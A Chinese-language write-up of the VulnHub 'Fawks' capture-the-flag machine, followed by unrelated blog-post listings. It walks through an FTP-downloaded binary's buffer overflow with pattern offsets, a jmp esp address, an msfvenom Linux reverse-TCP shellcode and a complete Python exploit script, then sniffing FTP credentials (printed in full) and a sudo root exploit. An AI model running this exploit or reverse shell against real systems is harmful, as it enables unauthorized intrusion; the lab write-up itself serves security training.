信息收集

目标开放了21的ftp有匿名登录,除此之外还有常规的80,和连个ssh的端口。

80端口的是一张图片,就是哈利波特的海报图。

anonymous空密码登上去有一个文件下载下来是二进制的文件

上kali里面运行看看。

可以看到这个进程,接着看他开启什么服务没有,看到他在9898开放了,输入魔法指令可以输出相应的文字,这种二进制可执行程序无法查看源码,所以只能对其进行动态调试。这里能够提交数据,可能存在缓冲区溢出漏洞。

ps -aux | grep server
ss -pantu | grep server

但是kali本机存在ALSR安全技术,地址空间随机化,会造成内存地址的随机化,导致无法确定缓冲区溢出的位置。所以要关闭。

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

然后终端打开edb(下载 : apt-get install edb-debugger)进入界面后按shift + F3 ,输入前面运行的那个程序的pid,接着左上角run一下,回到9898那里输入500个字符来测试。

python -c "print('A'*500)"

在edb这里调试器报错了,提示的0x414141意思就是 A。

可以看到EIP寄存器都被指令414141也就是A 覆盖,ESP同样被覆盖,EIP种存储的是下一个指令的内存地址,而ESP寄存器中存储的是具体的指令,我们修改EIP的内容,从而使指令跳转到ESP,强制执行ESP的指令。从而可以反弹shell。

确定溢出位置

使用msf的生成500字符,重启edb以及服务输入上述500字符,报错内容如下。

msf-pattern_create -l 500

使用msf-pattern_offset来找偏移量。

msf-pattern_offset -l 500 -q 64413764

验证EIP和ESP位置

生成一串验证字符串,进行调试,发现EIP寄存器是BBBB,ESP中是HiHiHi,所以去构造一个脚本来反弹shell,ESP寄存器中就是我们的反弹shell的十六进制代码。

python -c "print('A'*112+'BBBB'+'Hi')"

可以构造脚本反弹shell了。

寻找可执行权限的。

找到jmp esp的位置。

在机器指令中,需要反向写。

08049d55
\x55\x9d\x04\x08

使用msfvenom生成python的十六进制payload,文件内容写的是32位,-b 去掉坏字符 "\x00" 不然程序会在执行到\x00时停止执行,其中\x90是 空指令 目的是使程序执行更加稳定。一般是4的倍数个

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.45.11 LPORT=9999 -b "\x00" -f python

最终的payload:

#!/usr/bin/python2
import sys,socket
buf = b""
buf += b"\xbd\xdf\x3f\x56\xe9\xda\xdf\xd9\x74\x24\xf4\x58\x31"
buf += b"\xc9\xb1\x12\x31\x68\x12\x83\xe8\xfc\x03\xb7\x31\xb4"
buf += b"\x1c\x76\x95\xcf\x3c\x2b\x6a\x63\xa9\xc9\xe5\x62\x9d"
buf += b"\xab\x38\xe4\x4d\x6a\x73\xda\xbc\x0c\x3a\x5c\xc6\x64"
buf += b"\x7d\x36\x15\x7f\x15\x45\x66\x58\xea\xc0\x87\x16\x92"
buf += b"\x82\x16\x05\xe8\x20\x10\x48\xc3\xa7\x70\xe2\xb2\x88"
buf += b"\x07\x9a\x22\xf8\xc8\x38\xda\x8f\xf4\xee\x4f\x19\x1b"
buf += b"\xbe\x7b\xd4\x5c" payload='A'*112+'\x55\x9d\04\x08'+'\x90'*40+buf
try:
s=socket.socket()
s.connect(('192.168.45.10',9898))
s.send((payload))
s.close()
except:
print('wrong')
sys.exit()

拿下shell, 试了下用/bin/sh -i 升级shell.在当前文件夹下面就有个密码文件。

22端口登录不上,试了之前扫到的2222可以,登陆之后查看组发现在容器里面。

cat /proc/1/cgroup

翻找了一下找到一个flag和一个提示。

按照他的提示就是看21端口的流量,在这里得到了账密neville bL!Bsg3k

tcpdump -i eth0 port 21

登上ftp又得到一个flag。

试了一下ssh也能登录而且是宿主机。

拉下来之后修改一下里面sudo的位置。

将exp传到靶机上面,执行之后就可以拿到root权限,最后一个flag一般都在根目录底下能找到。

scp root@192.168.45.11:/root/exp2.py /home/neville/exp.py

vulnhub - Fawks - writeup的更多相关文章

  1. vulnhub writeup - 持续更新

    目录 wakanda: 1 0. Description 1. flag1.txt 2. flag2.txt 3. flag3.txt Finished Tips Basic Pentesting: ...

  2. Vulnhub DC-1靶机渗透学习

    前言 之前听说过这个叫Vulnhub DC-1的靶机,所以想拿来玩玩学习,结果整个过程都是看着别人的writeup走下来的,学艺不精,不过这个过程也认识到,学会了很多东西. 所以才想写点东西,记录一下 ...

  3. Vulnhub靶场DC-1 WP

    前言 之前提到过最近在做vlunhub的靶场复现工作,今天开始更新writeup吧.(对着walkthrough一顿乱抄嘻嘻嘻) 关于DC-1(官网翻译来的) 描述 DC-1是一个专门构建的易受攻击的 ...

  4. VulnHub靶场学习_HA: Natraj

    HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...

  5. Vulnhub实战-grotesque3靶机👻

    Vulnhub实战-grotesque3靶机 靶机地址:http://www.vulnhub.com/entry/grotesque-301,723/ 1.靶机描述 2.主机探测,端口扫描 我们在vm ...

  6. 2016第七季极客大挑战Writeup

    第一次接触CTF,只会做杂项和一点点Web题--因为时间比较仓促,写的比较简略.以后再写下工具使用什么的. 纯新手,啥都不会.处于瑟瑟发抖的状态. 一.MISC 1.签到题 直接填入题目所给的SYC{ ...

  7. ISCC2016 WriteUp

    日期: 2016-05-01~ 注:隔了好久才发布这篇文章,还有两道Pwn的题没放,过一阵子放上.刚开始做这个题,后来恰巧赶上校内CTF比赛,就把重心放在了那个上面. 这是第一次做类似于CTF的题,在 ...

  8. 参加 Tokyo Westerns / MMA CTF 2nd 2016 经验与感悟 TWCTF 2016 WriteUp

    洒家近期参加了 Tokyo Westerns / MMA CTF 2nd 2016(TWCTF) 比赛,不得不说国际赛的玩法比国内赛更有玩头,有的题给洒家一种一看就知道怎么做,但是做出来还需要洒家拍一 ...

  9. 爱春秋之戏说春秋 Writeup

    爱春秋之戏说春秋 Writeup 第一关 图穷匕见 这一关关键是给了一个图片,将图片下载到本地后,打开以及查看属性均无任何发现,尝试把图片转换为.txt格式.在文本的最后发现这样一串有规律的代码: 形 ...

  10. 《安全智库》:48H急速夺旗大战通关writeup(通关策略)

    作者:ByStudent   题目名字 题目分值 地址 MallBuilder2 350 mall.anquanbao.com.cn MallBuilder1 200 mall.anquanbao.c ...

随机推荐

  1. MySQL实战实战系列 03 事务隔离:为什么你改了我还看不见?

    提到事务,你肯定不陌生,和数据库打交道的时候,我们总是会用到事务.最经典的例子就是转账,你要给朋友小王转 100 块钱,而此时你的银行卡只有 100 块钱. 转账过程具体到程序里会有一系列的操作,比如 ...

  2. Journey / Solution Set - 「NOIP-S 2020」「Prob. A-C」

    这种东西怎么写啊... Day 1(好像也没有 Day 2 到了 NK 后发现正好可以进门,于是就什么也没有检查的进去了. 进门前问了一下 LYC 之前问过的一个问题,他说没有头绪,然后就没怎么说话了 ...

  3. python-显示张量(tensorflow)的具体的值

    ------------恢复内容开始------------ # 方法1 a = tf. random.normal ([4,4],mean=0.1,stddev=1) with tf.Session ...

  4. 关于如何解决visualc++6.0打开文件闪退的一种方式(附带解决输入法无法显示)

    这里我把VisualC++6.0安装程序和filetool分享在我的网盘里面了 网盘下载QAQ 链接:https://pan.baidu.com/s/1azSMX_cOKgb64WT7-gTdbQ?p ...

  5. umich cv-3-2

    UMICH CV Neural Network 既然谈到神经网络,我们肯定要讨论在神经网络中是如何进行梯度的计算以及参数的优化的 传统的方法就是我们手动计算梯度,但是随着神经网络层数的增加,这种方法显 ...

  6. dig 简明教程

    哈喽大家好,我是咸鱼 不知道大家在日常学习或者工作当中用 dig 命令多不多 dig 是 Domain Information Groper 的缩写,对于网络管理员和在域名系统(DNS)领域工作的小伙 ...

  7. 【matplotlib 实战】--漏斗图

    漏斗图,形如"漏斗",用于展示数据的逐渐减少或过滤过程.它的起始总是最大,并在各个环节依次减少,每个环节用一个梯形来表示,整体形如漏斗.一般来说,所有梯形的高度应是一致的,这会有助 ...

  8. js数据结构--集合

    <!DOCTYPE html> <html> <head> <title></title> </head> <body&g ...

  9. 【虹科干货】Redis Enterprise vs ElastiCache——如何选择缓存解决方案?

    使用Redis 或 Amazon ElastiCache 来作为缓存加速已经是业界主流的解决方案,二者各有什么优势?又有哪些区别呢? 为了提高 Web 应用程序和数据驱动服务的性能与效率,使用 Red ...

  10. c# 光学三原色混合,颜色叠加-dong

    东的备注: 光的三原色:红.绿.蓝 红+绿=黄 红+蓝=品红 蓝+绿=青 红+绿+蓝=白 无颜色为黑 下看代码 Bitmap image1 = new Bitmap(500, 500);//红 Bit ...